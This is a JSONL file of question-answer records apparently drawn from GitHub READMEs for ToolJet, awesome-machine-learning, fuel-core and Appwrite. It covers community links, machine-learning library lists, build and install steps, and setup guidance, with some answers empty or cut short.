{"id": "gh_7c3191180415", "question": "How to: Community support", "question_body": "About ToolJet/ToolJet", "answer": "For general help using ToolJet, please refer to the official [documentation](https://docs.tooljet.com/docs/). For additional help, you can use one of these channels to ask a question:\n\n- [Slack](https://tooljet.com/slack) - Discussions with the community and the team.\n- [GitHub](https://github.com/ToolJet/ToolJet/issues) - For bug reports and feature requests.\n- [𝕏 (Twitter)](https://twitter.com/ToolJet) - Get the product updates quickly.", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256179"}
{"id": "gh_636cd6e23629", "question": "How to: Branching model", "question_body": "About ToolJet/ToolJet", "answer": "We use the git-flow branching model. The base branch is `develop`. If you are looking for a stable version, please use the main branch or tags labeled as v1.x.x.", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256188"}
{"id": "gh_6f182aeeecbe", "question": "How to: Contributing", "question_body": "About ToolJet/ToolJet", "answer": "Kindly read our [Contributing Guide](CONTRIBUTING.md) to familiarize yourself with ToolJet's development process, how to suggest bug fixes and improvements, and the steps for building and testing your changes.", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256196"}
{"id": "gh_d7552c648af4", "question": "How to: Contributors", "question_body": "About ToolJet/ToolJet", "answer": "", "tags": ["ToolJet"], "source": "github_gists", "category": "ToolJet", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 37230, "answer_score": 10, "has_code": false, "url": "https://github.com/ToolJet/ToolJet", "collected_at": "2026-01-17T08:15:06.256204"}
{"id": "gh_0eec75a9ff62", "question": "How to: Frameworks and Libraries", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "- [Awesome Machine Learning ![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](#awesome-machine-learning-)\n  - [Table of Contents](#table-of-contents)\n    - [Frameworks and Libraries](#frameworks-and-libraries)\n    - [Tools](#tools)\n  - [APL](#apl)\n      - [General-Purpose Machine Learning](#apl-general-purpose-machine-learning)\n  - [C](#c)\n      - [General-Purpose Machine Learning](#c-general-purpose-machine-learning)\n      - [Computer Vision](#c-computer-vision)\n  - [C++](#cpp)\n      - [Computer Vision](#cpp-computer-vision)\n      - [General-Purpose Machine Learning](#cpp-general-purpose-machine-learning)\n      - [Natural Language Processing](#cpp-natural-language-processing)\n      - [Speech Recognition](#cpp-speech-recognition)\n      - [Sequence Analysis](#cpp-sequence-analysis)\n      - [Gesture Detection](#cpp-gesture-detection)\n      - [Reinforcement Learning](#cpp-reinforcement-learning)\n  - [Common Lisp](#common-lisp)\n      - [General-Purpose Machine Learning](#common-lisp-general-purpose-machine-learning)\n  - [Clojure](#clojure)\n      - [Natural Language Processing](#clojure-natural-language-processing)\n      - [General-Purpose Machine Learning](#clojure-general-purpose-machine-learning)\n      - [Deep Learning](#clojure-deep-learning)\n      - [Data Analysis](#clojure-data-analysis--data-visualization)\n      - [Data Visualization](#clojure-data-visualization)\n      - [Interop](#clojure-interop)\n      - [Misc](#clojure-misc)\n      - [Extra](#clojure-extra)\n  - [Crystal](#crystal)\n      - [General-Purpose Machine Learning](#crystal-general-purpose-machine-learning)\n  - [CUDA PTX](#cuda-ptx)\n      - [Neurosymbolic AI](#cuda-ptx-neurosymbolic-ai)\n  - [Elixir](#elixir)\n      - [General-Purpose Machine Learning](#elixir-general-purpose-machine-learning)\n      - [Natural Language Processing](#elixir-natural-language-processing)\n  - [Erlang](#erlang)\n      - [General-Purpose Machine Learning](#erlang-general-purpose-machine-learning)\n  - [Fortran](#fortran)\n      - [General-Purpose Machine Learning](#fortran-general-purpose-machine-learning)\n      - [Data Analysis / Data Visualization](#fortran-data-analysis--data-visualization)\n  - [Go](#go)\n      - [Natural Language Processing](#go-natural-language-processing)\n      - [General-Purpose Machine Learning](#go-general-purpose-machine-learning)\n      - [Spatial analysis and geometry](#go-spatial-analysis-and-geometry)\n      - [Data Analysis / Data Visualization](#go-data-analysis--data-visualization)\n      - [Computer vision](#go-computer-vision)\n      - [Reinforcement learning](#go-reinforcement-learning)\n  - [Haskell](#haskell)\n      - [General-Purpose Machine Learning](#haskell-general-purpose-machine-learning)\n  - [Java](#java)\n      - [Natural Language Processing](#java-natural-language-processing)\n      - [General-Purpose Machine Learning](#java-general-purpose-machine-learning)\n      - [Speech Recognition](#java-speech-recognition)\n      - [Data Analysis / Data Visualization](#java-data-analysis--data-visualization)\n      - [Deep Learning](#java-deep-learning)\n  - [Javascript](#javascript)\n      - [Natural Language Processing](#javascript-natural-language-processing)\n      - [Data Analysis / Data Visualization](#javascript-data-analysis--data-visualization)\n      - [General-Purpose Machine Learning](#javascript-general-purpose-machine-learning)\n      - [Misc](#javascript-misc)\n      - [Demos and Scripts](#javascript-demos-and-scripts)\n  - [Julia](#julia)\n      - [General-Purpose Machine Learning](#julia-general-purpose-machine-learning)\n      - [Natural Language Processing](#julia-natural-language-processing)\n      - [Data Analysis / Data Visualization](#julia-data-analysis--data-visualization)\n      - [Misc Stuff / Presentations](#julia-misc-stuff--presentations)\n  - [Kotlin](#kotlin)\n      - [Deep Learning](#kotlin-deep-learning)\n  - [Lua](#lua)\n      - [General-Purpose Machine Learning](#lua-general-purpose-machine-learning)\n      - [Demos and Scripts](#lua-demos-and-scripts)\n  - [Matlab](#matlab)\n      - [Computer Vision](#matlab-computer-vision)\n      - [Natural Language Processing](#matlab-natural-language-processing)\n      - [General-Purpose Machine Learning](#matlab-general-purpose-machine-learning)\n      - [Data Analysis / Data Visualization](#matlab-data-analysis--data-visualization)\n  - [.NET](#net)\n      - [Computer Vision](#net-computer-vision)\n      - [Natural Language Processing](#net-natural-language-processing)\n      - [General-Purpose Machine Learning](#net-general-purpose-machine-learning)\n      - [Data Analysis / Data Visualization](#net-data-analysis--data-visualization)\n  - [Objective C](#objective-c)\n    - [General-Purpose Machine Learning](#objective-c-general-purpose-machine-learning)\n  - [OCaml](#ocaml)\n    - [General-Purpose Machine Learning](#ocaml-general-purpose-machine-learning)\n  - [OpenCV](#opencv)\n    - [Computer", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 71348, "answer_score": 10, "has_code": true, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.515867"}
{"id": "gh_738ceda17307", "question": "How to: [Tools](#tools-1)", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "- [Neural Networks](#tools-neural-networks)\n- [Misc](#tools-misc)\n\n[Credits](#credits)", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.515882"}
{"id": "gh_8f2ea93121dd", "question": "How to: Common Lisp", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "#### General-Purpose Machine Learning\n\n* [mgl](https://github.com/melisgl/mgl/) - Neural networks (boltzmann machines, feed-forward and recurrent nets), Gaussian Processes.\n* [mgl-gpr](https://github.com/melisgl/mgl-gpr/) - Evolutionary algorithms. **[Deprecated]**\n* [cl-libsvm](https://github.com/melisgl/cl-libsvm/) - Wrapper for the libsvm support vector machine library. **[Deprecated]**\n* [cl-online-learning](https://github.com/masatoi/cl-online-learning) - Online learning algorithms (Perceptron, AROW, SCW, Logistic Regression).\n* [cl-random-forest](https://github.com/masatoi/cl-random-forest) - Implementation of Random Forest in Common Lisp.", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.515908"}
{"id": "gh_4ab6965bf9d7", "question": "How to: JavaScript", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "#### Natural Language Processing\n\n* [Twitter-text](https://github.com/twitter/twitter-text) - A JavaScript implementation of Twitter's text processing library.\n* [natural](https://github.com/NaturalNode/natural) - General natural language facilities for node.\n* [Knwl.js](https://github.com/loadfive/Knwl.js) - A Natural Language Processor in JS.\n* [Retext](https://github.com/retextjs/retext) - Extensible system for analyzing and manipulating natural language.\n* [NLP Compromise](https://github.com/spencermountain/compromise) - Natural Language processing in the browser.\n* [nlp.js](https://github.com/axa-group/nlp.js) - An NLP library built in node over Natural, with entity extraction, sentiment analysis, automatic language identify, and so more.\n#### Data Analysis / Data Visualization\n\n* [D3.js](https://d3js.org/)\n* [High Charts](https://www.highcharts.com/)\n* [NVD3.js](http://nvd3.org/)\n* [dc.js](https://dc-js.github.io/dc.js/)\n* [chartjs](https://www.chartjs.org/)\n* [dimple](http://dimplejs.org/)\n* [amCharts](https://www.amcharts.com/)\n* [D3xter](https://github.com/NathanEpstein/D3xter) - Straight forward plotting built on D3. **[Deprecated]**\n* [statkit](https://github.com/rigtorp/statkit) - Statistics kit for JavaScript. **[Deprecated]**\n* [datakit](https://github.com/nathanepstein/datakit) - A lightweight framework for data analysis in JavaScript\n* [science.js](https://github.com/jasondavies/science.js/) - Scientific and statistical computing in JavaScript. **[Deprecated]**\n* [Z3d](https://github.com/NathanEpstein/Z3d) - Easily make interactive 3d plots built on Three.js **[Deprecated]**\n* [Sigma.js](http://sigmajs.org/) - JavaScript library dedicated to graph drawing.\n* [C3.js](https://c3js.org/) - customizable library based on D3.js for easy chart drawing.\n* [Datamaps](https://datamaps.github.io/) - Customizable SVG map/geo visualizations using D3.js. **[Deprecated]**\n* [ZingChart](https://www.zingchart.com/) - library written on Vanilla JS for big data visualization.\n* [cheminfo](https://www.cheminfo.org/) - Platform for data visualization and analysis, using the [visualizer](https://github.com/npellet/visualizer) project.\n* [Learn JS Data](http://learnjsdata.com/)\n* [AnyChart](https://www.anychart.com/)\n* [FusionCharts](https://www.fusioncharts.com/)\n* [Nivo](https://nivo.rocks) - built on top of the awesome d3 and Reactjs libraries\n#### General-Purpose Machine Learning\n\n* [Auto ML](https://github.com/ClimbsRocks/auto_ml) - Automated machine learning, data formatting, ensembling, and hyperparameter optimization for competitions and exploration- just give it a .csv file! **[Deprecated]**\n* [Catniff](https://github.com/nguyenphuminh/catniff) - Torch-like deep learning framework for Javascript with support for tensors, autograd, optimizers, and other neural net constructs.\n* [Convnet.js](https://cs.stanford.edu/people/karpathy/convnetjs/) - ConvNetJS is a JavaScript library for training Deep Learning models[DEEP LEARNING] **[Deprecated]**\n* [Creatify MCP](https://github.com/TSavo/creatify-mcp) - Model Context Protocol server that exposes Creatify AI's video generation capabilities to AI assistants, enabling natural language video creation workflows.\n* [Clusterfck](https://harthur.github.io/clusterfck/) - Agglomerative hierarchical clustering implemented in JavaScript for Node.js and the browser. **[Deprecated]**\n* [Clustering.js](https://github.com/emilbayes/clustering.js) - Clustering algorithms implemented in JavaScript for Node.js and the browser. **[Deprecated]**\n* [Decision Trees](https://github.com/serendipious/nodejs-decision-tree-id3) - NodeJS Implementation of Decision Tree using ID3 Algorithm. **[Deprecated]**\n* [DN2A](https://github.com/antoniodeluca/dn2a.js) - Digital Neural Networks Architecture. **[Deprecated]**\n* [figue](https://code.google.com/archive/p/figue) - K-means, fuzzy c-means and agglomerative clustering.\n* [Gaussian Mixture Model](https://github.com/lukapopijac/gaussian-mixture-model) - Unsupervised machine learning with multivariate Gaussian mixture model.\n* [Node-fann](https://github.com/rlidwka/node-fann) - FANN (Fast Artificial Neural Network Library) bindings for Node.js **[Deprecated]**\n* [Keras.js](https://github.com/transcranial/keras-js) - Run Keras models in the browser, with GPU support provided by WebGL 2.\n* [Kmeans.js](https://github.com/emilbayes/kMeans.js) - Simple JavaScript implementation of the k-means algorithm, for node.js and the browser. **[Deprecated]**\n* [LDA.js](https://github.com/primaryobjects/lda) - LDA topic modelling for Node.js\n* [Learning.js](https://github.com/yandongliu/learningjs) - JavaScript implementation of logistic regression/c4.5 decision tree **[Deprecated]**\n* [machinelearn.js](https://github.com/machinelearnjs/machinelearnjs) - Machine Learning library for the", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.515965"}
{"id": "gh_c00fb844aced", "question": "How to: Objective C", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.515990"}
{"id": "gh_f54a9d16ebc3", "question": "How to: General-Purpose Machine Learning", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "* [YCML](https://github.com/yconst/YCML) - A Machine Learning framework for Objective-C and Swift (OS X / iOS).\n* [MLPNeuralNet](https://github.com/nikolaypavlov/MLPNeuralNet) - Fast multilayer perceptron neural network library for iOS and Mac OS X. MLPNeuralNet predicts new examples by trained neural networks. It is built on top of the Apple's Accelerate Framework, using vectorized operations and hardware acceleration if available. **[Deprecated]**\n* [MAChineLearning](https://github.com/gianlucabertani/MAChineLearning) - An Objective-C multilayer perceptron library, with full support for training through backpropagation. Implemented using vDSP and vecLib, it's 20 times faster than its Java equivalent. Includes sample code for use from Swift.\n* [BPN-NeuralNetwork](https://github.com/Kalvar/ios-BPN-NeuralNetwork) - It implemented 3 layers of neural networks ( Input Layer, Hidden Layer and Output Layer ) and it was named Back Propagation Neural Networks (BPN). This network can be used in products recommendation, user behavior analysis, data mining and data analysis. **[Deprecated]**\n* [Multi-Perceptron-NeuralNetwork](https://github.com/Kalvar/ios-Multi-Perceptron-NeuralNetwork) - It implemented multi-perceptrons neural network (ニューラルネットワーク) based on Back Propagation Neural Networks (BPN) and designed unlimited-hidden-layers.\n* [KRHebbian-Algorithm](https://github.com/Kalvar/ios-KRHebbian-Algorithm) - It is a non-supervisory and self-learning algorithm (adjust the weights) in the neural network of Machine Learning. **[Deprecated]**\n* [KRKmeans-Algorithm](https://github.com/Kalvar/ios-KRKmeans-Algorithm) - It implemented K-Means  clustering and classification algorithm. It could be used in data mining and image compression. **[Deprecated]**\n* [KRFuzzyCMeans-Algorithm](https://github.com/Kalvar/ios-KRFuzzyCMeans-Algorithm) - It implemented Fuzzy C-Means (FCM) the fuzzy clustering / classification algorithm on Machine Learning. It could be used in data mining and image compression. **[Deprecated]**", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.516000"}
{"id": "gh_891637321e76", "question": "How to: OpenSource-Computer-Vision", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "* [OpenCV](https://github.com/opencv/opencv) - A OpenSource Computer Vision Library", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.516010"}
{"id": "gh_441c97e3e08e", "question": "How to: Data Analysis / Data Visualization", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "* [Perl Data Language](https://metacpan.org/pod/Paws::MachineLearning), a pluggable architecture for data and image processing, which can\nbe [used for machine learning](https://github.com/zenogantner/PDL-ML).", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.516015"}
{"id": "gh_28b3b7720e7b", "question": "How to: Natural Language Processing", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "* [jieba-php](https://github.com/fukuball/jieba-php) - Chinese Words Segmentation Utilities.", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.516032"}
{"id": "gh_6d1310b50ca2", "question": "How to: TensorFlow", "question_body": "About josephmisiti/awesome-machine-learning", "answer": "#### General-Purpose Machine Learning\n* [Awesome Keras](https://github.com/markusschanta/awesome-keras) - A curated list of awesome Keras projects, libraries and resources.\n* [Awesome TensorFlow](https://github.com/jtoy/awesome-tensorflow) - A list of all things related to TensorFlow.\n* [Golden TensorFlow](https://golden.com/wiki/TensorFlow) - A page of content on TensorFlow, including academic papers and links to related topics.", "tags": ["josephmisiti"], "source": "github_gists", "category": "josephmisiti", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 71348, "answer_score": 10, "has_code": false, "url": "https://github.com/josephmisiti/awesome-machine-learning", "collected_at": "2026-01-17T08:15:17.516158"}
{"id": "gh_55f47900e9e0", "question": "How to: Versions currently used in networks", "question_body": "About FuelLabs/fuel-core", "answer": "| Network  | Version |\n|----------|---------|\n| Fuel Ignition | 0.47.1 |\n| Testnet | 0.47.1 |\n| Devnet | 0.47.1 |", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 57410, "answer_score": 10, "has_code": false, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671594"}
{"id": "gh_4f574efbc00c", "question": "How to: Contributing", "question_body": "About FuelLabs/fuel-core", "answer": "If you are interested in contributing to Fuel, see our [CONTRIBUTING.md](CONTRIBUTING.md) guidelines for coding standards and review process.\n\nBefore pushing any changes or creating pull request please run `source ci_checks.sh`.", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 57410, "answer_score": 10, "has_code": false, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671609"}
{"id": "gh_2e7394b5d86e", "question": "How to: System Requirements", "question_body": "About FuelLabs/fuel-core", "answer": "There are several system requirements including clang.\n\n#### MacOS\n\n```bash\nbrew update\nbrew install cmake\n```\n\n#### Debian\n\n```bash\napt update\napt install -y cmake pkg-config build-essential git clang libclang-dev\n```\n\n#### Arch\n\n```bash\npacman -Syu --needed --noconfirm cmake gcc pkgconf git clang\n```", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 57410, "answer_score": 10, "has_code": true, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671617"}
{"id": "gh_4ee7cf732d5f", "question": "How to: Rust setup", "question_body": "About FuelLabs/fuel-core", "answer": "You'll need `wasm32-unknown-unknown` target installed.\n\n```bash\nrustup target add wasm32-unknown-unknown\n```", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 57410, "answer_score": 10, "has_code": true, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671622"}
{"id": "gh_a34b0cf8f8dc", "question": "How to: Running a Ignition node", "question_body": "About FuelLabs/fuel-core", "answer": "If you want to participate in the Ignition network with your own node you can launch it following these simple commands.", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 57410, "answer_score": 10, "has_code": false, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671628"}
{"id": "gh_4a4110bcda30", "question": "How to: From pre-compiled binaries", "question_body": "About FuelLabs/fuel-core", "answer": "Follow : https://docs.fuel.network/docs/node-operator/fuel-ignition/mainnet-node/", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 57410, "answer_score": 10, "has_code": false, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671633"}
{"id": "gh_ff77bc338906", "question": "How to: From source", "question_body": "About FuelLabs/fuel-core", "answer": "Clone the `fuel-core` repository : \n```\ngit clone https://github.com/FuelLabs/fuel-core.git\n```\n\nGo to the latest release tag for ignition on the `fuel-core` repository :\n```\ngit checkout v0.45.1\n```\n\nBuild your node binary:\n```bash\nmake build\n```\n\nTo run the node follow : https://docs.fuel.network/docs/node-operator/fuel-ignition/mainnet-node/", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 57410, "answer_score": 10, "has_code": true, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671639"}
{"id": "gh_471e9f6dc107", "question": "How to: Running a Local network from source", "question_body": "About FuelLabs/fuel-core", "answer": "Clone the `fuel-core` repository : \n```\ngit clone https://github.com/FuelLabs/fuel-core.git\n```\n\nBuild your node binary:\n```bash\nmake build\n```\n\nTo run the node follow : https://docs.fuel.network/docs/node-operator/fuel-ignition/local-node/", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 57410, "answer_score": 10, "has_code": true, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671645"}
{"id": "gh_7cc3b0369c40", "question": "How to: Create Docker Image", "question_body": "About FuelLabs/fuel-core", "answer": "docker build -t fuel-core . -f deployment/Dockerfile", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 57410, "answer_score": 10, "has_code": false, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671664"}
{"id": "gh_3580a22f1f60", "question": "How to: GraphQL service", "question_body": "About FuelLabs/fuel-core", "answer": "The client functionality is available through a service endpoint that expect GraphQL queries.", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 57410, "answer_score": 10, "has_code": false, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671671"}
{"id": "gh_8b6dee9fe14e", "question": "How to: Transaction executor", "question_body": "About FuelLabs/fuel-core", "answer": "The transaction executor currently performs instant block production. Changes are persisted to RocksDB by default.\n\n-   Service endpoint: `/v1/graphql`\n-   Schema (available after building): `crates/client/assets/schema.sdl`\n\nThe service expects a mutation defined as `submit` that receives a [Transaction](https://github.com/FuelLabs/fuel-vm/tree/master/fuel-tx) in hex encoded binary format, as [specified here](https://github.com/FuelLabs/fuel-specs/blob/master/src/tx-format/transaction.md).", "tags": ["FuelLabs"], "source": "github_gists", "category": "FuelLabs", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 57410, "answer_score": 10, "has_code": false, "url": "https://github.com/FuelLabs/fuel-core", "collected_at": "2026-01-17T08:15:20.671677"}
{"id": "gh_12fc4497ba45", "question": "How to: Installation & Setup", "question_body": "About appwrite/appwrite", "answer": "The easiest way to get started with Appwrite is by [signing up for Appwrite Cloud](https://cloud.appwrite.io/). While Appwrite Cloud is in public beta, you can build with Appwrite completely free, and we won't collect your credit card information.", "tags": ["appwrite"], "source": "github_gists", "category": "appwrite", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 54424, "answer_score": 10, "has_code": false, "url": "https://github.com/appwrite/appwrite", "collected_at": "2026-01-17T08:15:25.053070"}
{"id": "gh_ae8ed8562b6f", "question": "How to: Self-Hosting", "question_body": "About appwrite/appwrite", "answer": "Appwrite is designed to run in a containerized environment. Running your server is as easy as running one command from your terminal. You can either run Appwrite on your localhost using docker-compose or on any other container orchestration tool, such as [Kubernetes](https://kubernetes.io/docs/home/), [Docker Swarm](https://docs.docker.com/engine/swarm/), or [Rancher](https://rancher.com/docs/).\n\nBefore running the installation command, make sure you have [Docker](https://www.docker.com/products/docker-desktop) installed on your machine:", "tags": ["appwrite"], "source": "github_gists", "category": "appwrite", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 54424, "answer_score": 10, "has_code": false, "url": "https://github.com/appwrite/appwrite", "collected_at": "2026-01-17T08:15:25.053085"}
{"id": "gh_a328dfa98081", "question": "How to: Upgrade from an Older Version", "question_body": "About appwrite/appwrite", "answer": "If you are upgrading your Appwrite server from an older version, you should use the Appwrite migration tool once your setup is completed. For more information regarding this, check out the [Installation Docs](https://appwrite.io/docs/self-hosting).", "tags": ["appwrite"], "source": "github_gists", "category": "appwrite", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 54424, "answer_score": 10, "has_code": false, "url": "https://github.com/appwrite/appwrite", "collected_at": "2026-01-17T08:15:25.053095"}
{"id": "gh_686f9eb04890", "question": "How to: One-Click Setups", "question_body": "About appwrite/appwrite", "answer": "In addition to running Appwrite locally, you can also launch Appwrite using a pre-configured setup. This allows you to get up and running quickly with Appwrite without installing Docker on your local machine.\n\nChoose from one of the providers below:\nDigitalOcean\nAkamai Compute\nAWS Marketplace", "tags": ["appwrite"], "source": "github_gists", "category": "appwrite", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 54424, "answer_score": 10, "has_code": true, "url": "https://github.com/appwrite/appwrite", "collected_at": "2026-01-17T08:15:25.053104"}
{"id": "gh_8ed0ddb4516b", "question": "How to: Getting Started", "question_body": "About appwrite/appwrite", "answer": "Getting started with Appwrite is as easy as creating a new project, choosing your platform, and integrating its SDK into your code. You can easily get started with your platform of choice by reading one of our Getting Started tutorials.\n\n| Platform              | Technology                                                                         |\n| --------------------- | ---------------------------------------------------------------------------------- |\n| **Web app**           | [Quick start for Web](https://appwrite.io/docs/quick-starts/web)                   |\n|                       | [Quick start for Next.js](https://appwrite.io/docs/quick-starts/nextjs)            |\n|                       | [Quick start for React](https://appwrite.io/docs/quick-starts/react)               |\n|                       | [Quick start for Vue.js](https://appwrite.io/docs/quick-starts/vue)                |\n|                       | [Quick start for Nuxt](https://appwrite.io/docs/quick-starts/nuxt)                 |\n|                       | [Quick start for SvelteKit](https://appwrite.io/docs/quick-starts/sveltekit)       |\n|                       | [Quick start for Refine](https://appwrite.io/docs/quick-starts/refine)             |\n|                       | [Quick start for Angular](https://appwrite.io/docs/quick-starts/angular)           |\n| **Mobile and Native** | [Quick start for React Native](https://appwrite.io/docs/quick-starts/react-native) |\n|                       | [Quick start for Flutter](https://appwrite.io/docs/quick-starts/flutter)           |\n|                       | [Quick start for Apple](https://appwrite.io/docs/quick-starts/apple)               |\n|                       | [Quick start for Android](https://appwrite.io/docs/quick-starts/android)           |\n| **Server**            | [Quick start for Node.js](https://appwrite.io/docs/quick-starts/node)              |\n|                       | [Quick start for Python](https://appwrite.io/docs/quick-starts/python)             |\n|                       | [Quick start for .NET](https://appwrite.io/docs/quick-starts/dotnet)               |\n|                       | [Quick start for Dart](https://appwrite.io/docs/quick-starts/dart)                 |\n|                       | [Quick start for Ruby](https://appwrite.io/docs/quick-starts/ruby)                 |\n|                       | [Quick start for Deno](https://appwrite.io/docs/quick-starts/deno)                 |\n|                       | [Quick start for PHP](https://appwrite.io/docs/quick-starts/php)                   |\n|                       | [Quick start for Kotlin](https://appwrite.io/docs/quick-starts/kotlin)             |\n|                       | [Quick start for Swift](https://appwrite.io/docs/quick-starts/swift)               |", "tags": ["appwrite"], "source": "github_gists", "category": "appwrite", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 54424, "answer_score": 10, "has_code": true, "url": "https://github.com/appwrite/appwrite", "collected_at": "2026-01-17T08:15:25.053117"}
{"id": "gh_ccd4ebb0647b", "question": "How to: Architecture", "question_body": "About appwrite/appwrite", "answer": "![Appwrite Architecture showing how Appwrite is built and the services and tools it uses](docs/specs/overview.drawio.svg)\n\nAppwrite uses a microservices architecture that was designed for easy scaling and delegation of responsibilities. In addition, Appwrite supports multiple APIs, such as REST, WebSocket, and GraphQL to allow you to interact with your resources by leveraging your existing knowledge and protocols of choice.\n\nThe Appwrite API layer was designed to be extremely fast by leveraging in-memory caching and delegating any heavy-lifting tasks to the Appwrite background workers. The background workers also allow you to precisely control your compute capacity and costs using a message queue to handle the load. You can learn more about our architecture in the [contribution guide](CONTRIBUTING.md#architecture-1).", "tags": ["appwrite"], "source": "github_gists", "category": "appwrite", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 54424, "answer_score": 10, "has_code": false, "url": "https://github.com/appwrite/appwrite", "collected_at": "2026-01-17T08:15:25.053129"}
{"id": "gh_5f15a62b1049", "question": "How to: Contributing", "question_body": "About appwrite/appwrite", "answer": "All code contributions, including those of people having commit access, must go through a pull request and be approved by a core developer before being merged. This is to ensure a proper review of all the code.\n\nWe truly :heart: pull requests! If you wish to help, you can learn more about how you can contribute to this project in the [contribution guide](CONTRIBUTING.md).", "tags": ["appwrite"], "source": "github_gists", "category": "appwrite", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 54424, "answer_score": 10, "has_code": false, "url": "https://github.com/appwrite/appwrite", "collected_at": "2026-01-17T08:15:25.053135"}
